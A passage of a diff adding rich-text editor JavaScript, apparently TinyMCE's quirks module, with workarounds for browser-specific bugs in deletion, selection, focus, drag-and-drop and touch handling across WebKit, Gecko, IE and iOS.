+		 *  3. Delete by pressing backspace key with ctrl/cmd (Word delete).
+		 *  4. Delete by pressing delete key with ctrl/cmd (Word delete).
+		 *  5. Delete by drag/dropping contents inside the editor.
+		 *  6. Delete by using Cut Ctrl+X/Cmd+X.
+		 *  7. Delete by selecting contents and writing a character.'
+		 *
+		 * This code is a ugly hack since writing full custom delete logic for just this bug
+		 * fix seemed like a huge task. I hope we can remove this before the year 2030.
+		 */
+		function cleanupStylesWhenDeleting() {
+			var doc = editor.getDoc(), urlPrefix = 'data:text/mce-internal,';
+			var MutationObserver = window.MutationObserver, olderWebKit, dragStartRng;
+
+			// Add mini polyfill for older WebKits
+			// TODO: Remove this when old Safari versions gets updated
+			if (!MutationObserver) {
+				olderWebKit = true;
+
+				MutationObserver = function() {
+					var records = [], target;
+
+					function nodeInsert(e) {
+						var target = e.relatedNode || e.target;
+						records.push({target: target, addedNodes: [target]});
+					}
+
+					function attrModified(e) {
+						var target = e.relatedNode || e.target;
+						records.push({target: target, attributeName: e.attrName});
+					}
+
+					this.observe = function(node) {
+						target = node;
+						target.addEventListener('DOMSubtreeModified', nodeInsert, false);
+						target.addEventListener('DOMNodeInsertedIntoDocument', nodeInsert, false);
+						target.addEventListener('DOMNodeInserted', nodeInsert, false);
+						target.addEventListener('DOMAttrModified', attrModified, false);
+					};
+
+					this.disconnect = function() {
+						target.removeEventListener('DOMSubtreeModified', nodeInsert, false);
+						target.removeEventListener('DOMNodeInsertedIntoDocument', nodeInsert, false);
+						target.removeEventListener('DOMNodeInserted', nodeInsert, false);
+						target.removeEventListener('DOMAttrModified', attrModified, false);
+					};
+
+					this.takeRecords = function() {
+						return records;
+					};
+				};
+			}
+
+			function customDelete(isForward) {
+				var mutationObserver = new MutationObserver(function() {});
+
+				Tools.each(editor.getBody().getElementsByTagName('*'), function(elm) {
+					// Mark existing spans
+					if (elm.tagName == 'SPAN') {
+						elm.setAttribute('mce-data-marked', 1);
+					}
+
+					// Make sure all elements has a data-mce-style attribute
+					if (!elm.hasAttribute('data-mce-style') && elm.hasAttribute('style')) {
+						editor.dom.setAttrib(elm, 'style', editor.dom.getAttrib(elm, 'style'));
+					}
+				});
+
+				// Observe added nodes and style attribute changes
+				mutationObserver.observe(editor.getDoc(), {
+					childList: true,
+					attributes: true,
+					subtree: true,
+					attributeFilter: ['style']
+				});
+
+				editor.getDoc().execCommand(isForward ? 'ForwardDelete' : 'Delete', false, null);
+
+				var rng = editor.selection.getRng();
+				var caretElement = rng.startContainer.parentNode;
+
+				Tools.each(mutationObserver.takeRecords(), function(record) {
+					if (!dom.isChildOf(record.target, editor.getBody())) {
+						return;
+					}
+
+					// Restore style attribute to previous value
+					if (record.attributeName == "style") {
+						var oldValue = record.target.getAttribute('data-mce-style');
+
+						if (oldValue) {
+							record.target.setAttribute("style", oldValue);
+						} else {
+							record.target.removeAttribute("style");
+						}
+					}
+
+					// Remove all spans that isn't maked and retain selection
+					Tools.each(record.addedNodes, function(node) {
+						if (node.nodeName == "SPAN" && !node.getAttribute('mce-data-marked')) {
+							var offset, container;
+
+							if (node == caretElement) {
+								offset = rng.startOffset;
+								container = node.firstChild;
+							}
+
+							dom.remove(node, true);
+
+							if (container) {
+								rng.setStart(container, offset);
+								rng.setEnd(container, offset);
+								editor.selection.setRng(rng);
+							}
+						}
+					});
+				});
+
+				mutationObserver.disconnect();
+
+				// Remove any left over marks
+				Tools.each(editor.dom.select('span[mce-data-marked]'), function(span) {
+					span.removeAttribute('mce-data-marked');
+				});
+			}
+
+			editor.on('keydown', function(e) {
+				var isForward = e.keyCode == DELETE, isMeta = VK.metaKeyPressed(e);
+
+				if (!isDefaultPrevented(e) && (isForward || e.keyCode == BACKSPACE)) {
+					var rng = editor.selection.getRng(), container = rng.startContainer, offset = rng.startOffset;
+
+					// Ignore non meta delete in the where there is text before/after the caret
+					if (!isMeta && rng.collapsed && container.nodeType == 3) {
+						if (isForward ? offset < container.data.length : offset > 0) {
+							return;
+						}
+					}
+
+					e.preventDefault();
+
+					if (isMeta) {
+						editor.selection.getSel().modify("extend", isForward ? "forward" : "backward", "word");
+					}
+
+					customDelete(isForward);
+				}
+			});
+
+			editor.on('keypress', function(e) {
+				if (!isDefaultPrevented(e) && !selection.isCollapsed() && e.charCode && !VK.metaKeyPressed(e)) {
+					e.preventDefault();
+					customDelete(true);
+					editor.selection.setContent(String.fromCharCode(e.charCode));
+				}
+			});
+
+			editor.addCommand('Delete', function() {
+				customDelete();
+			});
+
+			editor.addCommand('ForwardDelete', function() {
+				customDelete(true);
+			});
+
+			// Older WebKits doesn't properly handle the clipboard so we can't add the rest
+			if (olderWebKit) {
+				return;
+			}
+
+			editor.on('dragstart', function(e) {
+				var selectionHtml;
+
+				if (editor.selection.isCollapsed() && e.target.tagName == 'IMG') {
+					selection.select(e.target);
+				}
+
+				dragStartRng = selection.getRng();
+				selectionHtml = editor.selection.getContent();
+
+				// Safari doesn't support custom dataTransfer items so we can only use URL and Text
+				if (selectionHtml.length > 0) {
+					e.dataTransfer.setData('URL', 'data:text/mce-internal,' + escape(selectionHtml));
+				}
+			});
+
+			editor.on('drop', function(e) {
+				if (!isDefaultPrevented(e)) {
+					var internalContent = e.dataTransfer.getData('URL');
+
+					if (!internalContent || internalContent.indexOf(urlPrefix) == -1 || !doc.caretRangeFromPoint) {
+						return;
+					}
+
+					internalContent = unescape(internalContent.substr(urlPrefix.length));
+					if (doc.caretRangeFromPoint) {
+						e.preventDefault();
+
+						// Safari has a weird issue where drag/dropping images sometimes
+						// produces a green plus icon. When this happens the caretRangeFromPoint
+						// will return "null" even though the x, y coordinate is correct.
+						// But if we detach the insert from the drop event we will get a proper range
+						window.setTimeout(function() {
+							var pointRng = doc.caretRangeFromPoint(e.x, e.y);
+
+							if (dragStartRng) {
+								selection.setRng(dragStartRng);
+								dragStartRng = null;
+							}
+
+							customDelete();
+
+							selection.setRng(pointRng);
+							editor.insertContent(internalContent);
+						}, 0);
+					}
+
+				}
+			});
+
+			editor.on('cut', function(e) {
+				if (!isDefaultPrevented(e) && e.clipboardData) {
+					e.preventDefault();
+					e.clipboardData.clearData();
+					e.clipboardData.setData('text/html', editor.selection.getContent());
+					e.clipboardData.setData('text/plain', editor.selection.getContent({format: 'text'}));
+					customDelete(true);
+				}
+			});
+		}
+
+		/**
+		 * Makes sure that the editor body becomes empty when backspace or delete is pressed in empty editors.
+		 *
+		 * For example:
+		 * <p><b>|</b></p>
+		 *
+		 * Or:
+		 * <h1>|</h1>
+		 *
+		 * Or:
+		 * [<h1></h1>]
+		 */
+		function emptyEditorWhenDeleting() {
+			function serializeRng(rng) {
+				var body = dom.create("body");
+				var contents = rng.cloneContents();
+				body.appendChild(contents);
+				return selection.serializer.serialize(body, {format: 'html'});
+			}
+
+			function allContentsSelected(rng) {
+				if (!rng.setStart) {
+					if (rng.item) {
+						return false;
+					}
+
+					var bodyRng = rng.duplicate();
+					bodyRng.moveToElementText(editor.getBody());
+					return RangeUtils.compareRanges(rng, bodyRng);
+				}
+
+				var selection = serializeRng(rng);
+
+				var allRng = dom.createRng();
+				allRng.selectNode(editor.getBody());
+
+				var allSelection = serializeRng(allRng);
+				return selection === allSelection;
+			}
+
+			editor.on('keydown', function(e) {
+				var keyCode = e.keyCode, isCollapsed, body;
+
+				// Empty the editor if it's needed for example backspace at <p><b>|</b></p>
+				if (!isDefaultPrevented(e) && (keyCode == DELETE || keyCode == BACKSPACE)) {
+					isCollapsed = editor.selection.isCollapsed();
+					body = editor.getBody();
+
+					// Selection is collapsed but the editor isn't empty
+					if (isCollapsed && !dom.isEmpty(body)) {
+						return;
+					}
+
+					// Selection isn't collapsed but not all the contents is selected
+					if (!isCollapsed && !allContentsSelected(editor.selection.getRng())) {
+						return;
+					}
+
+					// Manually empty the editor
+					e.preventDefault();
+					editor.setContent('');
+
+					if (body.firstChild && dom.isBlock(body.firstChild)) {
+						editor.selection.setCursorLocation(body.firstChild, 0);
+					} else {
+						editor.selection.setCursorLocation(body, 0);
+					}
+
+					editor.nodeChanged();
+				}
+			});
+		}
+
+		/**
+		 * WebKit doesn't select all the nodes in the body when you press Ctrl+A.
+		 * IE selects more than the contents <body>[<p>a</p>]</body> instead of <body><p>[a]</p]</body> see bug #6438
+		 * This selects the whole body so that backspace/delete logic will delete everything
+		 */
+		function selectAll() {
+			editor.shortcuts.add('ctrl+a', null, 'SelectAll');
+		}
+
+		/**
+		 * WebKit has a weird issue where it some times fails to properly convert keypresses to input method keystrokes.
+		 * The IME on Mac doesn't initialize when it doesn't fire a proper focus event.
+		 *
+		 * This seems to happen when the user manages to click the documentElement element then the window doesn't get proper focus until
+		 * you enter a character into the editor.
+		 *
+		 * It also happens when the first focus in made to the body.
+		 *
+		 * See: https://bugs.webkit.org/show_bug.cgi?id=83566
+		 */
+		function inputMethodFocus() {
+			if (!editor.settings.content_editable) {
+				// Case 1 IME doesn't initialize if you focus the document
+				dom.bind(editor.getDoc(), 'focusin', function() {
+					selection.setRng(selection.getRng());
+				});
+
+				// Case 2 IME doesn't initialize if you click the documentElement it also doesn't properly fire the focusin event
+				// Needs to be both down/up due to weird rendering bug on Chrome Windows
+				dom.bind(editor.getDoc(), 'mousedown mouseup', function(e) {
+					if (e.target == editor.getDoc().documentElement) {
+						editor.getBody().focus();
+
+						if (e.type == 'mousedown') {
+							// Edge case for mousedown, drag select and mousedown again within selection on Chrome Windows to render caret
+							selection.placeCaretAt(e.clientX, e.clientY);
+						} else {
+							selection.setRng(selection.getRng());
+						}
+					}
+				});
+			}
+		}
+
+		/**
+		 * Backspacing in FireFox/IE from a paragraph into a horizontal rule results in a floating text node because the
+		 * browser just deletes the paragraph - the browser fails to merge the text node with a horizontal rule so it is
+		 * left there. TinyMCE sees a floating text node and wraps it in a paragraph on the key up event (ForceBlocks.js
+		 * addRootBlocks), meaning the action does nothing. With this code, FireFox/IE matche the behaviour of other
+		 * browsers.
+		 *
+		 * It also fixes a bug on Firefox where it's impossible to delete HR elements.
+		 */
+		function removeHrOnBackspace() {
+			editor.on('keydown', function(e) {
+				if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
+					// Check if there is any HR elements this is faster since getRng on IE 7 & 8 is slow
+					if (!editor.getBody().getElementsByTagName('hr').length) {
+						return;
+					}
+
+					if (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {
+						var node = selection.getNode();
+						var previousSibling = node.previousSibling;
+
+						if (node.nodeName == 'HR') {
+							dom.remove(node);
+							e.preventDefault();
+							return;
+						}
+
+						if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === "hr") {
+							dom.remove(previousSibling);
+							e.preventDefault();
+						}
+					}
+				}
+			});
+		}
+
+		/**
+		 * Firefox 3.x has an issue where the body element won't get proper focus if you click out
+		 * side it's rectangle.
+		 */
+		function focusBody() {
+			// Fix for a focus bug in FF 3.x where the body element
+			// wouldn't get proper focus if the user clicked on the HTML element
+			if (!window.Range.prototype.getClientRects) { // Detect getClientRects got introduced in FF 4
+				editor.on('mousedown', function(e) {
+					if (!isDefaultPrevented(e) && e.target.nodeName === "HTML") {
+						var body = editor.getBody();
+
+						// Blur the body it's focused but not correctly focused
+						body.blur();
+
+						// Refocus the body after a little while
+						setTimeout(function() {
+							body.focus();
+						}, 0);
+					}
+				});
+			}
+		}
+
+		/**
+		 * WebKit has a bug where it isn't possible to select image, hr or anchor elements
+		 * by clicking on them so we need to fake that.
+		 */
+		function selectControlElements() {
+			editor.on('click', function(e) {
+				var target = e.target;
+
+				// Workaround for bug, http://bugs.webkit.org/show_bug.cgi?id=12250
+				// WebKit can't even do simple things like selecting an image
+				// Needs to be the setBaseAndExtend or it will fail to select floated images
+				if (/^(IMG|HR)$/.test(target.nodeName)) {
+					e.preventDefault();
+					selection.getSel().setBaseAndExtent(target, 0, target, 1);
+					editor.nodeChanged();
+				}
+
+				if (target.nodeName == 'A' && dom.hasClass(target, 'mce-item-anchor')) {
+					e.preventDefault();
+					selection.select(target);
+				}
+			});
+		}
+
+		/**
+		 * Fixes a Gecko bug where the style attribute gets added to the wrong element when deleting between two block elements.
+		 *
+		 * Fixes do backspace/delete on this:
+		 * <p>bla[ck</p><p style="color:red">r]ed</p>
+		 *
+		 * Would become:
+		 * <p>bla|ed</p>
+		 *
+		 * Instead of:
+		 * <p style="color:red">bla|ed</p>
+		 */
+		function removeStylesWhenDeletingAcrossBlockElements() {
+			function getAttributeApplyFunction() {
+				var template = dom.getAttribs(selection.getStart().cloneNode(false));
+
+				return function() {
+					var target = selection.getStart();
+
+					if (target !== editor.getBody()) {
+						dom.setAttrib(target, "style", null);
+
+						each(template, function(attr) {
+							target.setAttributeNode(attr.cloneNode(true));
+						});
+					}
+				};
+			}
+
+			function isSelectionAcrossElements() {
+				return !selection.isCollapsed() &&
+					dom.getParent(selection.getStart(), dom.isBlock) != dom.getParent(selection.getEnd(), dom.isBlock);
+			}
+
+			editor.on('keypress', function(e) {
+				var applyAttributes;
+
+				if (!isDefaultPrevented(e) && (e.keyCode == 8 || e.keyCode == 46) && isSelectionAcrossElements()) {
+					applyAttributes = getAttributeApplyFunction();
+					editor.getDoc().execCommand('delete', false, null);
+					applyAttributes();
+					e.preventDefault();
+					return false;
+				}
+			});
+
+			dom.bind(editor.getDoc(), 'cut', function(e) {
+				var applyAttributes;
+
+				if (!isDefaultPrevented(e) && isSelectionAcrossElements()) {
+					applyAttributes = getAttributeApplyFunction();
+
+					setTimeout(function() {
+						applyAttributes();
+					}, 0);
+				}
+			});
+		}
+
+		/**
+		 * Screen readers on IE needs to have the role application set on the body.
+		 */
+		function ensureBodyHasRoleApplication() {
+			document.body.setAttribute("role", "application");
+		}
+
+		/**
+		 * Backspacing into a table behaves differently depending upon browser type.
+		 * Therefore, disable Backspace when cursor immediately follows a table.
+		 */
+		function disableBackspaceIntoATable() {
+			editor.on('keydown', function(e) {
+				if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
+					if (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {
+						var previousSibling = selection.getNode().previousSibling;
+						if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === "table") {
+							e.preventDefault();
+							return false;
+						}
+					}
+				}
+			});
+		}
+
+		/**
+		 * Old IE versions can't properly render BR elements in PRE tags white in contentEditable mode. So this
+		 * logic adds a \n before the BR so that it will get rendered.
+		 */
+		function addNewLinesBeforeBrInPre() {
+			// IE8+ rendering mode does the right thing with BR in PRE
+			if (getDocumentMode() > 7) {
+				return;
+			}
+
+			// Enable display: none in area and add a specific class that hides all BR elements in PRE to
+			// avoid the caret from getting stuck at the BR elements while pressing the right arrow key
+			setEditorCommandState('RespectVisibilityInDesign', true);
+			editor.contentStyles.push('.mceHideBrInPre pre br {display: none}');
+			dom.addClass(editor.getBody(), 'mceHideBrInPre');
+
+			// Adds a \n before all BR elements in PRE to get them visual
+			parser.addNodeFilter('pre', function(nodes) {
+				var i = nodes.length, brNodes, j, brElm, sibling;
+
+				while (i--) {
+					brNodes = nodes[i].getAll('br');
+					j = brNodes.length;
+					while (j--) {
+						brElm = brNodes[j];
+
+						// Add \n before BR in PRE elements on older IE:s so the new lines get rendered
+						sibling = brElm.prev;
+						if (sibling && sibling.type === 3 && sibling.value.charAt(sibling.value - 1) != '\n') {
+							sibling.value += '\n';
+						} else {
+							brElm.parent.insert(new Node('#text', 3), brElm, true).value = '\n';
+						}
+					}
+				}
+			});
+
+			// Removes any \n before BR elements in PRE since other browsers and in contentEditable=false mode they will be visible
+			serializer.addNodeFilter('pre', function(nodes) {
+				var i = nodes.length, brNodes, j, brElm, sibling;
+
+				while (i--) {
+					brNodes = nodes[i].getAll('br');
+					j = brNodes.length;
+					while (j--) {
+						brElm = brNodes[j];
+						sibling = brElm.prev;
+						if (sibling && sibling.type == 3) {
+							sibling.value = sibling.value.replace(/\r?\n$/, '');
+						}
+					}
+				}
+			});
+		}
+
+		/**
+		 * Moves style width/height to attribute width/height when the user resizes an image on IE.
+		 */
+		function removePreSerializedStylesWhenSelectingControls() {
+			dom.bind(editor.getBody(), 'mouseup', function() {
+				var value, node = selection.getNode();
+
+				// Moved styles to attributes on IMG eements
+				if (node.nodeName == 'IMG') {
+					// Convert style width to width attribute
+					if ((value = dom.getStyle(node, 'width'))) {
+						dom.setAttrib(node, 'width', value.replace(/[^0-9%]+/g, ''));
+						dom.setStyle(node, 'width', '');
+					}
+
+					// Convert style height to height attribute
+					if ((value = dom.getStyle(node, 'height'))) {
+						dom.setAttrib(node, 'height', value.replace(/[^0-9%]+/g, ''));
+						dom.setStyle(node, 'height', '');
+					}
+				}
+			});
+		}
+
+		/**
+		 * Removes a blockquote when backspace is pressed at the beginning of it.
+		 *
+		 * For example:
+		 * <blockquote><p>|x</p></blockquote>
+		 *
+		 * Becomes:
+		 * <p>|x</p>
+		 */
+		function removeBlockQuoteOnBackSpace() {
+			// Add block quote deletion handler
+			editor.on('keydown', function(e) {
+				var rng, container, offset, root, parent;
+
+				if (isDefaultPrevented(e) || e.keyCode != VK.BACKSPACE) {
+					return;
+				}
+
+				rng = selection.getRng();
+				container = rng.startContainer;
+				offset = rng.startOffset;
+				root = dom.getRoot();
+				parent = container;
+
+				if (!rng.collapsed || offset !== 0) {
+					return;
+				}
+
+				while (parent && parent.parentNode && parent.parentNode.firstChild == parent && parent.parentNode != root) {
+					parent = parent.parentNode;
+				}
+
+				// Is the cursor at the beginning of a blockquote?
+				if (parent.tagName === 'BLOCKQUOTE') {
+					// Remove the blockquote
+					editor.formatter.toggle('blockquote', null, parent);
+
+					// Move the caret to the beginning of container
+					rng = dom.createRng();
+					rng.setStart(container, 0);
+					rng.setEnd(container, 0);
+					selection.setRng(rng);
+				}
+			});
+		}
+
+		/**
+		 * Sets various Gecko editing options on mouse down and before a execCommand to disable inline table editing that is broken etc.
+		 */
+		function setGeckoEditingOptions() {
+			function setOpts() {
+				editor._refreshContentEditable();
+
+				setEditorCommandState("StyleWithCSS", false);
+				setEditorCommandState("enableInlineTableEditing", false);
+
+				if (!settings.object_resizing) {
+					setEditorCommandState("enableObjectResizing", false);
+				}
+			}
+
+			if (!settings.readonly) {
+				editor.on('BeforeExecCommand MouseDown', setOpts);
+			}
+		}
+
+		/**
+		 * Fixes a gecko link bug, when a link is placed at the end of block elements there is
+		 * no way to move the caret behind the link. This fix adds a bogus br element after the link.
+		 *
+		 * For example this:
+		 * <p><b><a href="#">x</a></b></p>
+		 *
+		 * Becomes this:
+		 * <p><b><a href="#">x</a></b><br></p>
+		 */
+		function addBrAfterLastLinks() {
+			function fixLinks() {
+				each(dom.select('a'), function(node) {
+					var parentNode = node.parentNode, root = dom.getRoot();
+
+					if (parentNode.lastChild === node) {
+						while (parentNode && !dom.isBlock(parentNode)) {
+							if (parentNode.parentNode.lastChild !== parentNode || parentNode === root) {
+								return;
+							}
+
+							parentNode = parentNode.parentNode;
+						}
+
+						dom.add(parentNode, 'br', {'data-mce-bogus': 1});
+					}
+				});
+			}
+
+			editor.on('SetContent ExecCommand', function(e) {
+				if (e.type == "setcontent" || e.command === 'mceInsertLink') {
+					fixLinks();
+				}
+			});
+		}
+
+		/**
+		 * WebKit will produce DIV elements here and there by default. But since TinyMCE uses paragraphs by
+		 * default we want to change that behavior.
+		 */
+		function setDefaultBlockType() {
+			if (settings.forced_root_block) {
+				editor.on('init', function() {
+					setEditorCommandState('DefaultParagraphSeparator', settings.forced_root_block);
+				});
+			}
+		}
+
+		/**
+		 * Removes ghost selections from images/tables on Gecko.
+		 */
+		function removeGhostSelection() {
+			editor.on('Undo Redo SetContent', function(e) {
+				if (!e.initial) {
+					editor.execCommand('mceRepaint');
+				}
+			});
+		}
+
+		/**
+		 * Deletes the selected image on IE instead of navigating to previous page.
+		 */
+		function deleteControlItemOnBackSpace() {
+			editor.on('keydown', function(e) {
+				var rng;
+
+				if (!isDefaultPrevented(e) && e.keyCode == BACKSPACE) {
+					rng = editor.getDoc().selection.createRange();
+					if (rng && rng.item) {
+						e.preventDefault();
+						editor.undoManager.beforeChange();
+						dom.remove(rng.item(0));
+						editor.undoManager.add();
+					}
+				}
+			});
+		}
+
+		/**
+		 * IE10 doesn't properly render block elements with the right height until you add contents to them.
+		 * This fixes that by adding a padding-right to all empty text block elements.
+		 * See: https://connect.microsoft.com/IE/feedback/details/743881
+		 */
+		function renderEmptyBlocksFix() {
+			var emptyBlocksCSS;
+
+			// IE10+
+			if (getDocumentMode() >= 10) {
+				emptyBlocksCSS = '';
+				each('p div h1 h2 h3 h4 h5 h6'.split(' '), function(name, i) {
+					emptyBlocksCSS += (i > 0 ? ',' : '') + name + ':empty';
+				});
+
+				editor.contentStyles.push(emptyBlocksCSS + '{padding-right: 1px !important}');
+			}
+		}
+
+		/**
+		 * Old IE versions can't retain contents within noscript elements so this logic will store the contents
+		 * as a attribute and the insert that value as it's raw text when the DOM is serialized.
+		 */
+		function keepNoScriptContents() {
+			if (getDocumentMode() < 9) {
+				parser.addNodeFilter('noscript', function(nodes) {
+					var i = nodes.length, node, textNode;
+
+					while (i--) {
+						node = nodes[i];
+						textNode = node.firstChild;
+
+						if (textNode) {
+							node.attr('data-mce-innertext', textNode.value);
+						}
+					}
+				});
+
+				serializer.addNodeFilter('noscript', function(nodes) {
+					var i = nodes.length, node, textNode, value;
+
+					while (i--) {
+						node = nodes[i];
+						textNode = nodes[i].firstChild;
+
+						if (textNode) {
+							textNode.value = Entities.decode(textNode.value);
+						} else {
+							// Old IE can't retain noscript value so an attribute is used to store it
+							value = node.attributes.map['data-mce-innertext'];
+							if (value) {
+								node.attr('data-mce-innertext', null);
+								textNode = new Node('#text', 3);
+								textNode.value = value;
+								textNode.raw = true;
+								node.append(textNode);
+							}
+						}
+					}
+				});
+			}
+		}
+
+		/**
+		 * IE has an issue where you can't select/move the caret by clicking outside the body if the document is in standards mode.
+		 */
+		function fixCaretSelectionOfDocumentElementOnIe() {
+			var doc = dom.doc, body = doc.body, started, startRng, htmlElm;
+
+			// Return range from point or null if it failed
+			function rngFromPoint(x, y) {
+				var rng = body.createTextRange();
+
+				try {
+					rng.moveToPoint(x, y);
+				} catch (ex) {
+					// IE sometimes throws and exception, so lets just ignore it
+					rng = null;
+				}
+
+				return rng;
+			}
+
+			// Fires while the selection is changing
+			function selectionChange(e) {
+				var pointRng;
+
+				// Check if the button is down or not
+				if (e.button) {
+					// Create range from mouse position
+					pointRng = rngFromPoint(e.x, e.y);
+
+					if (pointRng) {
+						// Check if pointRange is before/after selection then change the endPoint
+						if (pointRng.compareEndPoints('StartToStart', startRng) > 0) {
+							pointRng.setEndPoint('StartToStart', startRng);
+						} else {
+							pointRng.setEndPoint('EndToEnd', startRng);
+						}
+
+						pointRng.select();
+					}
+				} else {
+					endSelection();
+				}
+			}
+
+			// Removes listeners
+			function endSelection() {
+				var rng = doc.selection.createRange();
+
+				// If the range is collapsed then use the last start range
+				if (startRng && !rng.item && rng.compareEndPoints('StartToEnd', rng) === 0) {
+					startRng.select();
+				}
+
+				dom.unbind(doc, 'mouseup', endSelection);
+				dom.unbind(doc, 'mousemove', selectionChange);
+				startRng = started = 0;
+			}
+
+			// Make HTML element unselectable since we are going to handle selection by hand
+			doc.documentElement.unselectable = true;
+
+			// Detect when user selects outside BODY
+			dom.bind(doc, 'mousedown contextmenu', function(e) {
+				if (e.target.nodeName === 'HTML') {
+					if (started) {
+						endSelection();
+					}
+
+					// Detect vertical scrollbar, since IE will fire a mousedown on the scrollbar and have target set as HTML
+					htmlElm = doc.documentElement;
+					if (htmlElm.scrollHeight > htmlElm.clientHeight) {
+						return;
+					}
+
+					started = 1;
+					// Setup start position
+					startRng = rngFromPoint(e.x, e.y);
+					if (startRng) {
+						// Listen for selection change events
+						dom.bind(doc, 'mouseup', endSelection);
+						dom.bind(doc, 'mousemove', selectionChange);
+
+						dom.getRoot().focus();
+						startRng.select();
+					}
+				}
+			});
+		}
+
+		/**
+		 * Fixes selection issues where the caret can be placed between two inline elements like <b>a</b>|<b>b</b>
+		 * this fix will lean the caret right into the closest inline element.
+		 */
+		function normalizeSelection() {
+			// Normalize selection for example <b>a</b><i>|a</i> becomes <b>a|</b><i>a</i> except for Ctrl+A since it selects everything
+			editor.on('keyup focusin mouseup', function(e) {
+				if (e.keyCode != 65 || !VK.metaKeyPressed(e)) {
+					selection.normalize();
+				}
+			}, true);
+		}
+
+		/**
+		 * Forces Gecko to render a broken image icon if it fails to load an image.
+		 */
+		function showBrokenImageIcon() {
+			editor.contentStyles.push(
+				'img:-moz-broken {' +
+					'-moz-force-broken-image-icon:1;' +
+					'min-width:24px;' +
+					'min-height:24px' +
+				'}'
+			);
+		}
+
+		/**
+		 * iOS has a bug where it's impossible to type if the document has a touchstart event
+		 * bound and the user touches the document while having the on screen keyboard visible.
+		 *
+		 * The touch event moves the focus to the parent document while having the caret inside the iframe
+		 * this fix moves the focus back into the iframe document.
+		 */
+		function restoreFocusOnKeyDown() {
+			if (!editor.inline) {
+				editor.on('keydown', function() {
+					if (document.activeElement == document.body) {
+						editor.getWin().focus();
+					}
+				});
+			}
+		}
+
+		/**
+		 * IE 11 has an annoying issue where you can't move focus into the editor
+		 * by clicking on the white area HTML element. We used to be able to to fix this with
+		 * the fixCaretSelectionOfDocumentElementOnIe fix. But since M$ removed the selection
+		 * object it's not possible anymore. So we need to hack in a ungly CSS to force the
+		 * body to be at least 150px. If the user clicks the HTML element out side this 150px region
+		 * we simply move the focus into the first paragraph. Not ideal since you loose the
+		 * positioning of the caret but goot enough for most cases.
+		 */
+		function bodyHeight() {
+			if (!editor.inline) {
+				editor.contentStyles.push('body {min-height: 150px}');
+				editor.on('click', function(e) {
+					if (e.target.nodeName == 'HTML') {
+						editor.getBody().focus();
+						editor.selection.normalize();
+						editor.nodeChanged();
+					}
+				});
+			}
+		}
+
+		/**
+		 * Firefox on Mac OS will move the browser back to the previous page if you press CMD+Left arrow.
+		 * You might then loose all your work so we need to block that behavior and replace it with our own.
+		 */
+		function blockCmdArrowNavigation() {
+			if (Env.mac) {
+				editor.on('keydown', function(e) {
+					if (VK.metaKeyPressed(e) && (e.keyCode == 37 || e.keyCode == 39)) {
+						e.preventDefault();
+						editor.selection.getSel().modify('move', e.keyCode == 37 ? 'backward' : 'forward', 'word');
+					}
+				});
+			}
+		}
+
+		/**
+		 * Disables the autolinking in IE 9+ this is then re-enabled by the autolink plugin.
+		 */
+		function disableAutoUrlDetect() {
+			setEditorCommandState("AutoUrlDetect", false);
+		}
+
+		/**
+		 * IE 11 has a fantastic bug where it will produce two trailing BR elements to iframe bodies when
+		 * the iframe is hidden by display: none on a parent container. The DOM is actually out of sync
+		 * with innerHTML in this case. It's like IE adds shadow DOM BR elements that appears on innerHTML
+		 * but not as the lastChild of the body. However is we add a BR element to the body then remove it
+		 * it doesn't seem to add these BR elements makes sence right?!
+		 *
+		 * Example of what happens: <body>text</body> becomes <body>text<br><br></body>
+		 */
+		function doubleTrailingBrElements() {
+			if (!editor.inline) {
+				editor.on('focus blur beforegetcontent', function() {
+					var br = editor.dom.create('br');
+					editor.getBody().appendChild(br);
+					br.parentNode.removeChild(br);
+				}, true);
+			}
+		}
+
+		/**
+		 * iOS 7.1 introduced two new bugs:
+		 * 1) It's possible to open links within a contentEditable area by clicking on them.
+		 * 2) If you hold down the finger it will display the link/image touch callout menu.
+		 */
+		function tapLinksAndImages() {
+			editor.on('click', function(e) {
+				var elm = e.target;
+
+				do {
+					if (elm.tagName === 'A') {
+						e.preventDefault();
+						return;
+					}
+				} while ((elm = elm.parentNode));
+			});
+
+			editor.contentStyles.push('.mce-content-body {-webkit-touch-callout: none}');
+		}
+
+		/**
+		 * iOS Safari and possible other browsers have a bug where it won't fire
+		 * a click event when a contentEditable is focused. This function fakes click events
+		 * by using touchstart/touchend and measuring the time and distance travelled.
+		 */
+		function touchClickEvent() {
+			editor.on('touchstart', function(e) {
+				var elm, time, startTouch, changedTouches;
+
+				elm = e.target;
+				time = new Date().getTime();
+				changedTouches = e.changedTouches;
+
+				if (!changedTouches || changedTouches.length > 1) {
+					return;
+				}
+
+				startTouch = changedTouches[0];
+
+				editor.once('touchend', function(e) {
+					var endTouch = e.changedTouches[0], args;
+
+					if (new Date().getTime() - time > 500) {
+						return;
+					}
+
+					if (Math.abs(startTouch.clientX - endTouch.clientX) > 5) {
+						return;
+					}
+
+					if (Math.abs(startTouch.clientY - endTouch.clientY) > 5) {
+						return;
+					}
+
+					args = {
+						target: elm
+					};
+
+					each('pageX pageY clientX clientY screenX screenY'.split(' '), function(key) {
+						args[key] = endTouch[key];
+					});
+
+					args = editor.fire('click', args);
+
+					if (!args.isDefaultPrevented()) {
+						// iOS WebKit can't place the caret properly once
+						// you bind touch events so we need to do this manually
+						// TODO: Expand to the closest word? Touble tap still works.
+						editor.selection.placeCaretAt(endTouch.clientX, endTouch.clientY);
+						editor.nodeChanged();
+					}
+				});
+			});
+		}
+
+		/**
+		 * WebKit has a bug where it will allow forms to be submitted if they are inside a contentEditable element.
+		 * For example this: <form><button></form>
+		 */
+		function blockFormSubmitInsideEditor() {
+			editor.on('init', function() {
+				editor.dom.bind(editor.getBody(), 'submit', function(e) {
+					e.preventDefault();
+				});
+			});
+		}
+
+		/**
+		 * Sometimes WebKit/Blink generates BR elements with the Apple-interchange-newline class.
+		 *
+		 * Scenario:
+		 *  1) Create a table 2x2.
+		 *  2) Select and copy cells A2-B2.
+		 *  3) Paste and it will add BR element to table cell.
+		 */
+		function removeAppleInterchangeBrs() {
+			parser.addNodeFilter('br', function(nodes) {
+				var i = nodes.length;
+
+				while (i--) {
+					if (nodes[i].attr('class') == 'Apple-interchange-newline') {
+						nodes[i].remove();
+					}
+				}
+			});
+		}
+
+		// All browsers
